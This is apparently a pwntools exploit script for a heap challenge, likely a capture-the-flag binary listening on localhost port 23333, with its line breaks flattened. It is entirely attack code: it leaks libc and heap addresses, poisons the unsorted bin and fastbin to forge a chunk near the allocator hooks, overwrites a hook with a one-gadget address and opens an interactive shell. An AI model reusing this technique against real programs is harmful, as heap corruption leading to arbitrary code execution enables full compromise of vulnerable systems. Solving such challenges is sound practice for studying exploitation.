1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
|
from pwn import *
p = remote('127.0.0.1', 23333)
heap_chunk_offset = 0x70 magic = 0x603010
freehook_offset = 0x3c0a10 onegadget_offset = 0xe58c5
leaked_offset = 0x3be7b8 realloc_fake_offset = 0x3be725
def add(title, sz, detail, rank=0): p.recvuntil('> ') p.sendline('2') p.recvuntil('bytes): ') p.sendline(title) p.recvuntil('4096): ') p.sendline(str(sz)) p.recvuntil('bytes): ') p.sendline(detail) p.recvuntil('999): ') p.sendline(str(rank))
def edit(title, detail, rank=0): p.recvuntil('> ') p.sendline('3') p.recvuntil('title: ') p.sendline(title) p.recvuntil('999): ') p.sendline(str(rank)) p.recvuntil('bytes): ') p.sendline(detail)
def delete(title): p.recvuntil('> ') p.sendline('4') p.recvuntil('title: ') p.sendline(title)
def leak(): p.recvuntil('> ') p.sendline('5') p.recvuntil('title: c') p.recvuntil('rank: ') leaked_addr = int(p.recvuntil('\n',drop=True)) return leaked_addr
p.recvuntil('> ') p.sendline('1') p.recvuntil('bytes): ') p.sendline(p64(0) + p64(0x81) + p64(0) + p64(0x71)[:-1]) p.recvuntil('100): ') p.sendline('0')
add('a', 0xe0 - 16, 'AAAA') add('b', 0x90 - 16, 'BBBB') delete('a') add('a', 0x70 - 16, 'AAAA') add('c', 0x70 - 16, 'CCCC', -1) add('d', 0x70 - 16, 'DDDD')
leaked_addr = leak() libc_base = leaked_addr - leaked_offset print '[+] unsorted bin @ %#x' % leaked_addr print '[+] libc base @ %#x' % libc_base realloc_fake_chunk = libc_base + realloc_fake_offset - 8 onegadget = libc_base + onegadget_offset
delete('a') delete('c') add('a', 0x70 - 16, 'AAAA', -1) add('c', 0x70 - 16, '/bin/sh', -1) leaked_heap = leak() heap = leaked_heap - heap_chunk_offset print '[+] leaked heap @ %#x' % leaked_heap print '[+] heap base @ %#x' % heap
delete('b') edit('b', p64(leaked_addr) + p64(magic - 16), str(0))
add('b', 0x90 - 16, 'BBBB')
delete('a') edit('a', p64(0), str(realloc_fake_chunk))
payload = '\0' * 19 + p64(onegadget) add('a', 0x70 - 16, payload)
p.recvuntil('> ') p.sendline('2') p.interactive()
|